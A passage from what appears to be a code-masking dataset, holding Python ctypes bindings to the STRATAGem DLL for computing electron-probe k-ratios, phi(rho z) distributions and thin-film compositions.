dirpath.value.decode('ascii')\n <mask token>\n\n @_check_key\n def compute_kratio_vs_thickness(self, layer, thickness_low_m,\n thickness_high_m, step):\n \"\"\"\n Computes the variation of the k-ratio as a function of the thickness \n for a layer.\n \n :arg layer: layer of a sample (must have been previously added)\n :type layer: :class:`.Layer`\n \n :arg thickness_low_m: lower limit of the thickness in meters\n :type thickness_low_m: :class:`float`\n \n :arg thickness_high_m: upper limit of the thickness in meters\n :type thickness_high_m: :class:`float`\n \n :arg step: number of steps\n :type step: :class:`int`\n \n :return: :class:`tuple` containing\n \n * :class:`list` of thicknesses\n * :class:`dict` where the keys are experiments (as defined by\n :meth:`.add_experiment`) and the values are :class:`list` \n containing k-ratios for each thickness\n \"\"\"\n logger.debug('StSetKvsThicknessUnit(2)')\n self._lib.StSetKvsThicknessUnit(2)\n if layer not in self._layers:\n raise ValueError('Unknown layer')\n ilayer = self._layers[layer]\n ilayer_ = c.c_int(ilayer)\n step_ = c.c_int(step)\n logger.debug('StSetNbComputedHV(%i)', step)\n self._lib.StSetNbComputedHV(step_)\n low_ = c.c_double(thickness_low_m * 1000000000.0)\n high_ = c.c_double(thickness_high_m * 1000000000.0)\n logger.debug('StComputeKvsThickness(key, %i, %f, %f)', ilayer, \n thickness_low_m * 1000000000.0, thickness_high_m * 1000000000.0)\n if not self._lib.StComputeKvsThickness(self._key, ilayer_, low_, high_\n ):\n self._raise_error('Cannot compute k-ratio vs thickness')\n thicknesses = []\n kratios = {}\n thick_ = c.c_double()\n k_ = c.c_double()\n for i in range(step + 1):\n i_ = c.c_int(i)\n if not self._lib.StGetKvsT_Thick(self._key, i_, c.byref(thick_)):\n self._raise_error('Cannot get thickness')\n thicknesses.append(thick_.value)\n for experiment, indexes in self._experiments.items():\n ielt_ = c.c_int(indexes[0])\n iline_ = c.c_int(indexes[1])\n iHv_ = c.c_int(indexes[2])\n if not self._lib.StGetKvsT_K(self._key, i_, ielt_, iline_,\n iHv_, c.byref(k_)):\n self._raise_error('Cannot get k-ratio')\n kratios.setdefault(experiment, []).append(k_.value)\n return thicknesses, kratios\n <mask token>\n\n @_check_key\n def compute_kratios(self):\n \"\"\"\n Computes the k-ratios of the different experiments.\n \n :return: :class:`dict` where the keys are experiments (as defined by\n :meth:`.add_experiment`) and the values are k-ratios \n (:class:`float`).\n \"\"\"\n if len(self._layers) == 0:\n return self._compute_kratios_substrate()\n else:\n return self._compute_kratios_multilayers()\n\n @_check_key\n def _compute_kratios_multilayers(self):\n \"\"\"\n Internal method to compute the k-ratios using the \n :meth:`compute_kratio_vs_thickness`.\n \"\"\"\n for i, layer in enumerate(self._layers.keys()):\n if not layer.is_thickness_known():\n raise ValueError('Thickness of layer %i is unknown' % i)\n layer = list(self._layers.keys())[0]\n thickness_low_m = layer.thickness_m\n thickness_high_m = layer.thickness_m * 10\n step = 1\n _thicknesses, kratios = self.compute_kratio_vs_thickness(layer,\n thickness_low_m, thickness_high_m, step)\n output = {}\n for experiment, kratio in kratios.items():\n output.setdefault(experiment, kratio[0])\n return output\n <mask token>\n\n @_check_key\n def compute(self, iteration_max=50):\n \"\"\"\n Computes the unknown composition(s) and thickness(es) in the specified\n sample.\n \n :arg iteration_max: maximum number of iterations of the solve\n (default: 50)\n :type iteration_max: :class:`int`\n \n :return: calculated sample\n :rtype: :class:`.Sample`\n \"\"\"\n zs = set(exp.z for exp in self._experiments.keys())\n for layer in (list(self._layers.keys()) + [self._substrate[0]]):\n for z, wf in layer.composition.items():\n if z in zs:\n continue\n if wf is None:\n continue\n logger.debug('Added dummy experiment for z=%i', z)\n exp = Experiment(z, LINE_KA, 0.0, analyzed=False)\n self.add_experiment(exp)\n iteration_max_ = c.c_int(iteration_max)\n logger.debug('StSetMaxNbIter(%i)', iteration_max)\n self._lib.StSetMaxNbIter(iteration_max_)\n logger.debug('StComputeIterpStart(key)')\n if not self._lib.StComputeIterpStart(self._key):\n self._raise_error('Cannot start iteration')\n continue_ = c.c_bool(True)\n iteration = 0\n logger.debug('Start iteration')\n while True:\n iteration += 1\n logger.debug('Iteration #%i' % iteration)\n logger.debug('StComputeIterpNext(key, %r)' % continue_.value)\n if not self._lib.StComputeIterpNext(self._key, c.byref(continue_)):\n break\n if not continue_.value:\n break\n logger.debug('Iteration completed')\n thick_known = c.c_bool()\n mass_thickness = c.c_double()\n thickness = c.c_double()\n density = c.c_double()\n\n def get_layer(layer, ilayer):\n ilayer_ = c.c_int(ilayer)\n logger.debug('StSdGetNbElts(key, %i)' % ilayer)\n nbelt = self._lib.StSdGetNbElts(self._key, ilayer_)\n if nbelt == -1:\n self._raise_error('Cannot get number of elements')\n flag_ = (c.c_int * nbelt)()\n wfs_ = (c.c_double * nbelt)()\n logger.debug('StSdGetLayRawConcs(key, %i, flag, wfs)' % ilayer)\n if not self._lib.StSdGetLayRawConcs(self._key, ilayer_, flag_, wfs_\n ):\n self._raise_error('Cannot get layer concentration')\n composition = {}\n for z in layer.composition.keys():\n nra_ = c.c_int(z)\n logger.debug('StSdGetEltIdx(key, %i, %i)' % (ilayer, z))\n zindex = self._lib.StSdGetEltIdx(self._key, ilayer_, nra_)\n composition[z] = wfs_[zindex]\n logger.debug('StSdGetThick(key, %i)', ilayer)\n if not self._lib.StSdGetThick(self._key, ilayer_, c.byref(\n thick_known), c.byref(mass_thickness), c.byref(thickness),\n c.byref(density)):\n self._raise_error('Cannot get thickness')\n return (composition, thickness.value / 10000000000.0, \n mass_thickness.value * 10.0, density.value * 1000.0)\n sample = Sample(get_layer(*self._substrate)[0])\n for layer, ilayer in self._layers.items():\n sample.add_layer(*get_layer(layer, ilayer))\n return sample\n\n @_check_key\n def compute_prz(self, maxdepth_m=None, bins=100):\n \"\"\"\n Compute :math:`\\\\phi(\\\\rho z)` of all experiments.\n \n .. warning:: Only available for substrate (no layers).\n \n :arg maxdepth_m: maximum depth of the :math:`\\\\phi(\\\\rho z)` \n distribution in meters. If ``None``, Kanaya-Okayama electron range\n is used with a safety factor of 1.5.\n :type maxdepth_m: :class:`float`\n \n :arg bins: number of bins in the :math:`\\\\phi(\\\\rho z)` distribution\n :type bins: :class:`int`\n \n :return: a :class:`dict` where the keys are the experiments and the \n values are a tuple containing three lists:\n \n * :math:`\\\\rho z` coordinates (in g/cm2)\n * generated intensities of :math:`\\\\phi(\\\\rho z)` (no absorption)\n * emitted intensites of :math:`\\\\phi(\\\\rho z)`\n \"\"\"\n if len(self._layers) > 0:\n raise RuntimeError('PRZ can only be computed for substrate')\n hvs_eV = map(attrgetter('energy_eV'), self._experiments.keys())\n maxhv_eV = max(hvs_eV)\n maxhv_ = c.c_double(maxhv_eV / 1000.0)\n logger.debug('StSetScaleHV(%s)', maxhv_eV / 1000.0)\n self._lib.StSetScaleHV(maxhv_)\n logger.debug('StComputePrz(key)')\n if not self._lib.StComputePrz(self._key):\n self._raise_error('Cannot compute prz')\n przs = {}\n for experiment, indexes in self._experiments.items():\n if maxdepth_m is None:\n maxdepth_m = 0.0\n energy_keV = experiment.energy_eV / 1000.0\n for z, fraction in self._substrate[0].composition.items():\n dr = 0.0276 * atomic_mass_kg_mol(z\n ) * 1000.0 * energy_keV ** 1.67 / (z ** 0.89 *\n mass_density_kg_m3(z) / 1000.0)\n maxdepth_m += fraction / (dr * 1e-06)\n maxdepth_m = 1.0 / maxdepth_m\n maxdepth_m *= 1.5\n increment_kg_m2 = maxdepth_m * self._substrate[0\n ].density_kg_m3 / bins\n ielt_ = c.c_int(indexes[0])\n iline_ = c.c_int(indexes[1])\n ihv_ = c.c_int(0)\n rzs = []\n ys_generated = []\n ys_emitted = []\n for i in range(bins):\n rz_ = c.c_double(i * increment_kg_m2 * 0.1)\n rzs.append(i * increment_kg_m2)\n y_ = c.c_double()\n bUseExp_ = c.c_bool(True)\n self._lib.StPhiRhoZ(self._key, ielt_, iline_, ihv_, rz_,\n bUseExp_, c.byref(y_))\n ys_emitted.append(y_.value)\n y_ = c.c_double()\n bUseExp_ = c.c_bool(False)\n self._lib.StPhiRhoZ(self._key, ielt_, iline_, ihv_, rz_,\n bUseExp_, c.byref(y_))\n ys_generated.append(y_.value)\n przs.setdefault(experiment, (rzs, ys_generated, ys_emitted))\n return przs\n", "step-3": "<mask token>\nlogger = logging.getLogger(__name__)\n<mask token>\ntry:\n import winreg\nexcept ImportError:\n try:\n import _winreg as winreg\n except ImportError:\n\n\n class winreg:\n HKEY_CURRENT_USER = None\n\n\n class _PyHKEY(object):\n\n def __enter__(self):\n return self\n\n def __exit__(self, exc_type, exc_value, traceback):\n pass\n\n def OpenKey(self, key, sub_key, res, sam):\n return self._PyHKEY()\n\n def QueryValueEx(self, key, value_name):\n return None\n<mask token>\n_REGISTRY_KEY = 'Software\\\\SAMx\\\\Stratagem\\\\Configuration'\n_REGISTRY_VALUENAME = 'InstallOEMDirectory'\nPRZMODE_XPP = 0\n<mask token>\nPRZMODE_PAP = 1\n<mask token>\nPRZMODE_GAU = 2\n<mask token>\nFLUORESCENCE_NONE = 0\n<mask token>\nFLUORESCENCE_LINE = 1\n<mask token>\nFLUORESCENCE_LINE_CONT = 2\n<mask token>\n_CONCENTRATION_FLAG_KNOWN = 0\n_CONCENTRATION_FLAG_UNKNOWN = 1\n_CONCENTRATION_FLAG_STOICHIOMETRIC = 2\n_CONCENTRATION_FLAG_TRACE = 3\n_CONCENTRATION_FLAG_DIFFERENCE = 4\n\n\nclass StratagemError(Exception):\n \"\"\"\n Exception raised for all errors related to the STRATAGem interface.\n \"\"\"\n pass\n\n\ndef _check_key(method):\n\n @functools.wraps(method)\n def wrapper(self, *args, **kwargs):\n if self._key is None:\n raise StratagemError('Not initialize. Call init().')\n return method(self, *args, **kwargs)\n return wrapper\n\n\nclass Stratagem:\n \"\"\"\n Main interface establishing a connection to the STRATAGem OEM interface and\n perform calculations using SAMx's STRATAGem.\n It is highly recommended to use :class:`Stratagem` as a context manager \n (i.e. ``with`` statement) to ensure that the connection to the DLL is \n properly closed.\n For instance::\n \n >>> with Stratagem() as strata:\n ... strata.prz_mode = PRZMODE_XPP\n \n Otherwise the following series of method must be called::\n \n >>> strata = Stratagem()\n >>> strata.init()\n >>> strata.prz_mode = PRZMODE_XPP\n >>> strata.close()\n \"\"\"\n\n def __init__(self, dll_path=None, display_error=True):\n \"\"\"\n :arg dll_path: complete path to the location of ``stratadllogger.dll``\n (optional). If ``None``, the path is found in the Windows registry\n under ``Software\\\\SAMx\\\\Stratagem\\\\Configuration``. If the DLL is not\n found a :class:`StratagemError` is raised.\n :type dll_path: :class:`str`\n \n :arg display_error: whether to display a message dialog on error\n :type display_error: :class:`bool`\n \"\"\"\n if dll_path is None:\n with winreg.OpenKey(winreg.HKEY_CURRENT_USER, _REGISTRY_KEY\n ) as key:\n basedir = winreg.QueryValueEx(key, _REGISTRY_VALUENAME)[0]\n dll_path = os.path.join(basedir, 'bin', 'stratadll.dll')\n cwd = os.getcwd()\n try:\n logger.debug('dll=%s', dll_path)\n self._lib = c.WinDLL(dll_path)\n finally:\n os.chdir(cwd)\n logger.debug('StEnableErrorDisplay(%r)', display_error)\n self._lib.StEnableErrorDisplay(c.c_bool(display_error))\n self._key = None\n self._cwd = os.getcwd()\n self._layers = {}\n self._substrate = None\n self._experiments = {}\n self._tmpstandards = []\n\n def __enter__(self):\n self.init()\n return self\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n self.close()\n return False\n\n def _stobjectnew(self, key=None, standard=False):\n if key is None:\n characters = string.ascii_lowercase\n key = ''.join(random.choice(characters) for _ in range(8))\n key = key.encode('ascii')\n if not isinstance(key, c.c_byte):\n key = c.create_string_buffer(key)\n bnormal_ = c.c_bool(not standard)\n iniflags_ = c.c_int(0)\n logger.debug('StObjectNew(key, %r, %i)', not standard, 0)\n if not self._lib.StObjectNew(key, bnormal_, iniflags_):\n self._raise_error('Cannot create object')\n return key\n\n def _raise_error(self, alternate=''):\n \"\"\"\n Raises a :class:`StratagemError`. \n The error code and message of known errors are retrieved from STRATAGem. \n If this is not possible, *alternate* is used as the error message.\n \"\"\"\n errnum_ = c.c_ulong()\n errtype_ = c.c_int()\n self._lib.StGetLastError(c.byref(errnum_), c.byref(errtype_))\n if errnum_.value != 0:\n if errtype_.value == 0:\n buf_ = c.create_string_buffer(256)\n self._lib.StGetMsg(errnum_, buf_, 256)\n raise StratagemError(buf_.value.decode('ascii'))\n elif errtype_.value == 1:\n raise c.WinError(errtype_.value)\n else:\n raise StratagemError('Error %i' % errnum_.value)\n else:\n raise StratagemError(alternate)\n\n def init(self):\n \"\"\"\n Initializes and setups STRATAGem.\n It does not have to be used if :class:`Stratagem` is used as a context\n manager.\n \"\"\"\n if self._key is not None:\n raise RuntimeError('Already initialized. Call close() first.')\n self._key = self._stobjectnew()\n self._cwd = os.getcwd()\n self.reset()\n\n def close(self):\n \"\"\"\n Closes the connection to the STRATAGem DLL.\n It does not have to be used if :class:`Stratagem` is used as a context\n manager.\n \"\"\"\n if self._key is not None:\n logger.debug('StObjectDelete(key)')\n self._lib.StObjectDelete(self._key)\n self._key = None\n for filepath in self._tmpstandards:\n os.remove(filepath)\n logger.debug('Remove temporary standard: %s', filepath)\n self.reset()\n\n def reset(self):\n \"\"\"\n Resets all parameters to the defaults, remove all experiments and sample.\n \"\"\"\n if self._key:\n self._lib.StObjectReset(self._key)\n os.chdir(self._cwd)\n self._layers.clear()\n self._substrate = None\n self._experiments.clear()\n self._tmpstandards.clear()\n\n @_check_key\n def set_sample(self, sample):\n \"\"\"\n Sets the sample, which will be used in all subsequent calculations.\n Note that only one sample can be defined.\n \n :arg sample: sample definition\n :type sample: :class:`Sample`\n \"\"\"\n self.reset()\n for layer in sample.layers:\n index = self._add_layer(layer, substrate=False)\n self._layers.setdefault(layer, index)\n index = self._add_layer(sample.substrate, substrate=True)\n self._substrate = sample.substrate, index\n\n @_check_key\n def get_sample(self):\n \"\"\"\n Returns the current sample. \n It can correspond to the sample defined by :meth:`set_sample` or the\n sample resulting from the computations (see :meth:`compute`).\n \n .. note:: a new sample is returned every time this method is called\n \n :return: current sample\n :rtype: :class:`Sample`\n \"\"\"\n sample = Sample(self._substrate[0].composition)\n for layer in self._layers:\n sample.add_layer(layer.composition, layer.thickness_m, layer.\n mass_thickness_kg_m2, layer.density_kg_m3)\n return sample\n sample = property(get_sample, set_sample, doc='Property to set/get sample')\n\n def _add_layer(self, layer, substrate=False, key=None):\n \"\"\"\n Internal method to add a layer from top to bottom. \n The last layer added is considered as the substrate.\n \n :arg layer: layer\n :type layer: :class:`.Layer`\n \n :return: index of the layer\n \"\"\"\n if key is None:\n key = self._key\n logger.debug('StSdAddLayer(key)')\n ilayer_ = self._lib.StSdGetNbLayers(key)\n logger.debug('StSdAddLayer(key, %i)', ilayer_)\n if not self._lib.StSdAddLayer(key, ilayer_):\n self._raise_error('Cannot add layer')\n for i, value in enumerate(layer.composition.items()):\n ielt_ = c.c_int(i)\n logger.debug('StSdAddElt(key, %i, %i)', ilayer_, i)\n if not self._lib.StSdAddElt(key, ilayer_, ielt_):\n self._raise_error('Cannot add element')\n z, wf = value\n nra_ = c.c_int(z)\n logger.debug('StSdSetNrAtom(key, %i, %i, %i)', ilayer_, i, z)\n if not self._lib.StSdSetNrAtom(key, ilayer_, ielt_, nra_):\n self._raise_error('Cannot set atomic number')\n if wf is None or wf == CONC_UNKNOWN:\n flag = _CONCENTRATION_FLAG_UNKNOWN\n elif wf == CONC_DIFF:\n flag = _CONCENTRATION_FLAG_DIFFERENCE\n else:\n flag = _CONCENTRATION_FLAG_KNOWN\n wf_ = c.c_double(wf)\n logger.debug('StSdSetConc(key, %i, %i, %f)', ilayer_, i, wf)\n if not self._lib.StSdSetConc(key, ilayer_, ielt_, wf_):\n self._raise_error('Cannot set concentration')\n logger.debug('StSdSetConcFlag(key, %i, %i, %i)', ilayer_, i, flag)\n if not self._lib.StSdSetConcFlag(key, ilayer_, ielt_, c.c_int(flag)\n ):\n self._raise_error('Cannot set concentration flag')\n if not substrate:\n thick_known = layer.is_thickness_known()\n thick_known_ = c.c_bool(thick_known)\n if layer.is_density_known():\n density = layer.density_kg_m3 / 1000.0\n else:\n density = 10.0\n density_ = c.c_double(density)\n if thick_known:\n thickness = layer.thickness_m * 10000000000.0\n mass_thickness = layer.mass_thickness_kg_m2 * 0.1\n else:\n thickness = 0.0\n mass_thickness = 0.0\n thickness_ = c.c_double(thickness)\n mass_thickness_ = c.c_double(mass_thickness)\n logger.debug('StSdSetThick(key, %i, %r, %d, %d, %d)', ilayer_,\n thick_known, mass_thickness, thickness, density)\n if not self._lib.StSdSetThick(key, ilayer_, thick_known_,\n mass_thickness_, thickness_, density_):\n self._raise_error('Cannot set thickness')\n return int(ilayer_)\n\n def _create_standard(self, standard):\n \"\"\"\n Internal method to create a new object defining the standard \n :class:`.Sample`.\n \"\"\"\n key_ = self._stobjectnew(standard=True)\n for layer in standard.layers:\n self._add_layer(layer, substrate=False, key=key_)\n self._add_layer(standard.substrate, substrate=True, key=key_)\n filename = key_.value.decode('ascii') + '.tfs'\n filepath = os.path.join(self.get_standard_directory(), filename)\n filepath_ = c.create_string_buffer(filepath.encode('ascii'))\n logger.debug('StObjectWriteFile(key, %s)', filepath)\n if not self._lib.StObjectWriteFile(key_, filepath_):\n self._raise_error('Cannot save standard')\n self._lib.StObjectDelete(key_)\n self._tmpstandards.append(filepath)\n return filepath\n\n @_check_key\n def add_experiment(self, experiment):\n \"\"\"\n Adds an experiment, i.e. measurements of k-ratio at different energies.\n \n .. hint:: Use :meth:`reset` method to remove defined experiments.\n \n :arg experiment: experiment\n :type experiment: :class:`Experiment`\n \"\"\"\n nra_ = c.c_int(experiment.z)\n klm_ = c.c_int(experiment.line)\n hv_ = c.c_double(experiment.energy_eV / 1000.0)\n ielt_ = c.c_int()\n iline_ = c.c_int()\n iexpk_ = c.c_int()\n logger.debug('StEdAddNrAtomLineHV(key, %i, %i)', experiment.z,\n experiment.line)\n if not self._lib.StEdAddNrAtomLineHV(self._key, nra_, klm_, hv_, c.\n byref(ielt_), c.byref(iline_), c.byref(iexpk_)):\n self._raise_error('Cannot add atomic number and line')\n standard = experiment.standard\n if isinstance(standard, Sample):\n standard = self._create_standard(standard)\n standard_ = c.create_string_buffer(standard.encode('ascii'))\n logger.debug('StEdSetLine(key, %i, %i, %i, %s)', ielt_.value,\n iline_.value, klm_.value, standard)\n if not self._lib.StEdSetLine(self._key, ielt_, iline_, klm_, standard_\n ):\n self._raise_error('Cannot set standard')\n analyzed = experiment.is_analyzed()\n analyzed_ = c.c_bool(analyzed)\n logger.debug('StEdSetAnalyzedFlag(key, %i, %r)', ielt_.value, analyzed)\n if not self._lib.StEdSetAnalyzedFlag(self._key, ielt_, analyzed_):\n self._raise_error('Cannot add experiment analyzed flag')\n kratio_ = c.c_double(experiment.kratio)\n logger.debug('StEdSetExpK(key, %i, %i, %i, %f, %f, %f, 0.0, 2)',\n ielt_.value, iline_.value, iexpk_.value, experiment.energy_eV /\n 1000.0, experiment.energy_eV / 1000.0, experiment.kratio)\n if not self._lib.StEdSetExpK(self._key, ielt_, iline_, iexpk_, hv_,\n hv_, kratio_, c.c_double(0.0), c.c_int(2)):\n self._raise_error('Cannot set experiment k-ratio')\n if experiment.is_analyzed():\n indexes = ielt_.value, iline_.value, iexpk_.value\n self._experiments.setdefault(experiment, indexes)\n\n @_check_key\n def add_experiments(self, *exps):\n \"\"\"\n Adds several experiments::\n \n >>> strata.add_experiments(exp1, exp2, exp3)\n \"\"\"\n for exp in exps:\n self.add_experiment(exp)\n\n def get_experiments(self):\n \"\"\"\n Returns a :class:`tuple` of all defined experiments.\n \n :rtype: :class:`tuple`\n \"\"\"\n return tuple(self._experiments.keys())\n\n @_check_key\n def set_geometry(self, toa, tilt, azimuth):\n \"\"\"\n Sets the geometry.\n \n :arg toa: take off angle (in radians)\n :arg tilt: tilt angle (in radians)\n :arg azimuth: azimuthal angle (in radians)\n \"\"\"\n toa_ = c.c_double(toa)\n tilt_ = c.c_double(tilt)\n azimuth_ = c.c_double(azimuth)\n logger.debug('StSetGeomParams(key, %f, %f, %f)', toa, tilt, azimuth)\n if not self._lib.StSetGeomParams(self._key, toa_, tilt_, azimuth_):\n self._raise_error('Cannot set geometry parameters')\n\n @_check_key\n def get_geometry(self):\n \"\"\"\n Returns the geometry.\n \n :return: take off angle (in radians), tilt angle (in radians),\n azimuthal angle (in radians)\n \"\"\"\n toa_ = c.c_double()\n tilt_ = c.c_double()\n azimuth_ = c.c_double()\n logger.debug('StGetGeomParams(key)')\n if not self._lib.StGetGeomParams(self._key, c.byref(toa_), c.byref(\n tilt_), c.byref(azimuth_)):\n self._raise_error('Cannot get geometry parameters')\n return toa_.value, tilt_.value, azimuth_.value\n geometry = property(get_geometry, doc='Property to get geometry')\n\n @_check_key\n def set_prz_mode(self, mode):\n \"\"\"\n Sets the type of model to use for the :math:`\\\\phi(\\\\rho z)`.\n \n :arg mode: type of model, either\n \n * :data:`PRZMODE_XPP`\n * :data:`PRZMODE_PAP`\n * :data:`PRZMODE_GAU`\n :type mode: :class:`int`\n \"\"\"\n mode_ = c.c_int(mode)\n logger.debug('StSetPrzMode(%i)', mode)\n self._lib.StSetPrzMode(mode_)\n\n @_check_key\n def get_prz_mode(self):\n \"\"\"\n Returns the type of model to use for the :math:`\\\\phi(\\\\rho z)`.\n \n :return: either :data:`PRZMODE_XPP`, :data:`PRZMODE_PAP` or \n :data:`PRZMODE_GAU`\n :rtype: :class:`int`\n \"\"\"\n return self._lib.StGetPrzMode()\n prz_mode = property(get_prz_mode, set_prz_mode, doc=\n 'Property to get/set prz mode')\n\n @_check_key\n def set_fluorescence(self, flag):\n \"\"\"\n Sets the fluorescence flag.\n \n :arg flag: either \n \n * :data:`FLUORESCENCE_NONE`\n * :data:`FLUORESCENCE_LINE`\n * :data:`FLUORESCENCE_LINE_CONT`\n :type flag: :class:`int`\n \"\"\"\n flag_ = c.c_int(flag)\n logger.debug('StSetFluorFlg(%i)', flag)\n self._lib.StSetFluorFlg(flag_)\n\n @_check_key\n def get_fluorescence(self):\n \"\"\"\n Returns the fluorescence flag.\n \n :return: either :data:`FLUORESCENCE_NONE`, :data:`FLUORESCENCE_LINE`\n or :data:`FLUORESCENCE_LINE_CONT`\n :rtype: :class:`int`\n \"\"\"\n return self._lib.StGetFluorFlg()\n fluorescence = property(get_fluorescence, set_fluorescence, doc=\n 'Property to get/set fluorescence')\n\n @_check_key\n def set_standard_directory(self, dirpath):\n \"\"\"\n Sets the directory where standard files are stored.\n \n :arg dirpath: path to directory\n :type dirpath: :class:`str`\n \"\"\"\n dirpath_ = c.create_string_buffer(dirpath.encode('ascii'))\n self._lib.StSetDirectory(c.c_int(1), dirpath_)\n\n @_check_key\n def get_standard_directory(self):\n \"\"\"\n Returns the directory where standard files are stored.\n \n :rtype: :class:`str`\n \"\"\"\n dirpath = (c.c_char * 256)()\n self._lib.StGetDirectory(c.c_int(1), c.byref(dirpath), 256)\n return dirpath.value.decode('ascii')\n standard_directory = property(get_standard_directory,\n set_standard_directory, doc='Property to get/set standard directory')\n\n @_check_key\n def compute_kratio_vs_thickness(self, layer, thickness_low_m,\n thickness_high_m, step):\n \"\"\"\n Computes the variation of the k-ratio as a function of the thickness \n for a layer.\n \n :arg layer: layer of a sample (must have been previously added)\n :type layer: :class:`.Layer`\n \n :arg thickness_low_m: lower limit of the thickness in meters\n :type thickness_low_m: :class:`float`\n \n :arg thickness_high_m: upper limit of the thickness in meters\n :type thickness_high_m: :class:`float`\n \n :arg step: number of steps\n :type step: :class:`int`\n \n :return: :class:`tuple` containing\n \n * :class:`list` of thicknesses\n * :class:`dict` where the keys are experiments (as defined by\n :meth:`.add_experiment`) and the values are :class:`list` \n containing k-ratios for each thickness\n \"\"\"\n logger.debug('StSetKvsThicknessUnit(2)')\n self._lib.StSetKvsThicknessUnit(2)\n if layer not in self._layers:\n raise ValueError('Unknown layer')\n ilayer = self._layers[layer]\n ilayer_ = c.c_int(ilayer)\n step_ = c.c_int(step)\n logger.debug('StSetNbComputedHV(%i)', step)\n self._lib.StSetNbComputedHV(step_)\n low_ = c.c_double(thickness_low_m * 1000000000.0)\n high_ = c.c_double(thickness_high_m * 1000000000.0)\n logger.debug('StComputeKvsThickness(key, %i, %f, %f)', ilayer, \n thickness_low_m * 1000000000.0, thickness_high_m * 1000000000.0)\n if not self._lib.StComputeKvsThickness(self._key, ilayer_, low_, high_\n ):\n self._raise_error('Cannot compute k-ratio vs thickness')\n thicknesses = []\n kratios = {}\n thick_ = c.c_double()\n k_ = c.c_double()\n for i in range(step + 1):\n i_ = c.c_int(i)\n if not self._lib.StGetKvsT_Thick(self._key, i_, c.byref(thick_)):\n self._raise_error('Cannot get thickness')\n thicknesses.append(thick_.value)\n for experiment, indexes in self._experiments.items():\n ielt_ = c.c_int(indexes[0])\n iline_ = c.c_int(indexes[1])\n iHv_ = c.c_int(indexes[2])\n if not self._lib.StGetKvsT_K(self._key, i_, ielt_, iline_,\n iHv_, c.byref(k_)):\n self._raise_error('Cannot get k-ratio')\n kratios.setdefault(experiment, []).append(k_.value)\n return thicknesses, kratios\n\n @_check_key\n def compute_kratio_vs_energy(self, energy_high_eV, step):\n \"\"\"\n Computes the variation of the k-ratio as a function of the incident\n energy. \n Note that the computation also starts at 0 keV up to the specified energy.\n \n :arg energy_high_eV: upper limit of the thickness in electronvolts\n :type energy_high_eV: :class:`float`\n \n :arg step: number of steps\n :type step: :class:`int`\n \n :return: :class:`tuple` containing\n \n * :class:`list` of energies in electronvolts\n * :class:`dict` where the keys are experiments (as defined by\n :meth:`.add_experiment`) and the values are :class:`list` \n containing k-ratios for each energy\n \"\"\"\n step_ = c.c_int(step)\n logger.debug('StSetNbComputedHV(%i)', step)\n self._lib.StSetNbComputedHV(step_)\n energy_ = c.c_double(energy_high_eV / 1000.0)\n logger.debug('StSetMaxHV(%f)' % (energy_high_eV / 1000.0,))\n self._lib.StSetMaxHV(energy_)\n logger.debug('StComputeKvsHV(key)')\n if not self._lib.StComputeKvsHV(self._key):\n self._raise_error('Cannot compute k-ratio vs energy')\n energies = []\n kratios = {}\n k_ = c.c_double()\n bHV_ = c.c_bool(True)\n increment = float(energy_high_eV / 1000.0) / step\n for i in range(step + 1):\n hv = i * increment\n hv_ = c.c_double(hv)\n for experiment, indexes in self._experiments.items():\n ielt_ = c.c_int(indexes[0])\n iline_ = c.c_int(indexes[1])\n if not self._lib.StKvsHvOrRx(self._key, ielt_, iline_, hv_,\n bHV_, c.byref(k_)):\n self._raise_error('Cannot get k-ratio')\n kratios.setdefault(experiment, []).append(k_.value)\n energies.append(hv)\n return energies, kratios\n\n @_check_key\n def compute_kratios(self):\n \"\"\"\n Computes the k-ratios of the different experiments.\n \n :return: :class:`dict` where the keys are experiments (as defined by\n :meth:`.add_experiment`) and the values are k-ratios \n (:class:`float`).\n \"\"\"\n if len(self._layers) == 0:\n return self._compute_kratios_substrate()\n else:\n return self._compute_kratios_multilayers()\n\n @_check_key\n def _compute_kratios_multilayers(self):\n \"\"\"\n Internal method to compute the k-ratios using the \n :meth:`compute_kratio_vs_thickness`.\n \"\"\"\n for i, layer in enumerate(self._layers.keys()):\n if not layer.is_thickness_known():\n raise ValueError('Thickness of layer %i is unknown' % i)\n layer = list(self._layers.keys())[0]\n thickness_low_m = layer.thickness_m\n thickness_high_m = layer.thickness_m * 10\n step = 1\n _thicknesses, kratios = self.compute_kratio_vs_thickness(layer,\n thickness_low_m, thickness_high_m, step)\n output = {}\n for experiment, kratio in kratios.items():\n output.setdefault(experiment, kratio[0])\n return output\n\n @_check_key\n def _compute_kratios_substrate(self):\n \"\"\"\n Internal method to compute the k-ratios using the \n :meth:`compute_kratio_vs_energy`.\n \"\"\"\n output = {}\n step = 2\n for experiment in self._experiments:\n energy_high_eV = experiment.energy_eV\n _energies, kratios = self.compute_kratio_vs_energy(energy_high_eV,\n step)\n kratio = kratios[experiment][-1]\n if kratio < 0:\n logger.warn(\n 'STRATAGem returns a negative k-ratio, re-try with energy + 1 eV'\n )\n _energies, kratios = self.compute_kratio_vs_energy(\n energy_high_eV + 1.0, step)\n kratio = kratios[experiment][-1]\n output.setdefault(experiment, kratio)\n return output\n\n @_check_key\n def compute(self, iteration_max=50):\n \"\"\"\n Computes the unknown composition(s) and thickness(es) in the specified\n sample.\n \n :arg iteration_max: maximum number of iterations of the solve\n (default: 50)\n :type iteration_max: :class:`int`\n \n :return: calculated sample\n :rtype: :class:`.Sample`\n \"\"\"\n zs = set(exp.z for exp in self._experiments.keys())\n for layer in (list(self._layers.keys()) + [self._substrate[0]]):\n for z, wf in layer.composition.items():\n if z in zs:\n continue\n if wf is None:\n continue\n logger.debug('Added dummy experiment for z=%i', z)\n exp = Experiment(z, LINE_KA, 0.0, analyzed=False)\n self.add_experiment(exp)\n iteration_max_ = c.c_int(iteration_max)\n logger.debug('StSetMaxNbIter(%i)', iteration_max)\n self._lib.StSetMaxNbIter(iteration_max_)\n logger.debug('StComputeIterpStart(key)')\n if not self._lib.StComputeIterpStart(self._key):\n self._raise_error('Cannot start iteration')\n continue_ = c.c_bool(True)\n iteration = 0\n logger.debug('Start iteration')\n while True:\n iteration += 1\n logger.debug('Iteration #%i' % iteration)\n logger.debug('StComputeIterpNext(key, %r)' % continue_.value)\n if not self._lib.StComputeIterpNext(self._key, c.byref(continue_)):\n break\n if not continue_.value:\n break\n logger.debug('Iteration completed')\n thick_known = c.c_bool()\n mass_thickness = c.c_double()\n thickness = c.c_double()\n density = c.c_double()\n\n def get_layer(layer, ilayer):\n ilayer_ = c.c_int(ilayer)\n logger.debug('StSdGetNbElts(key, %i)' % ilayer)\n nbelt = self._lib.StSdGetNbElts(self._key, 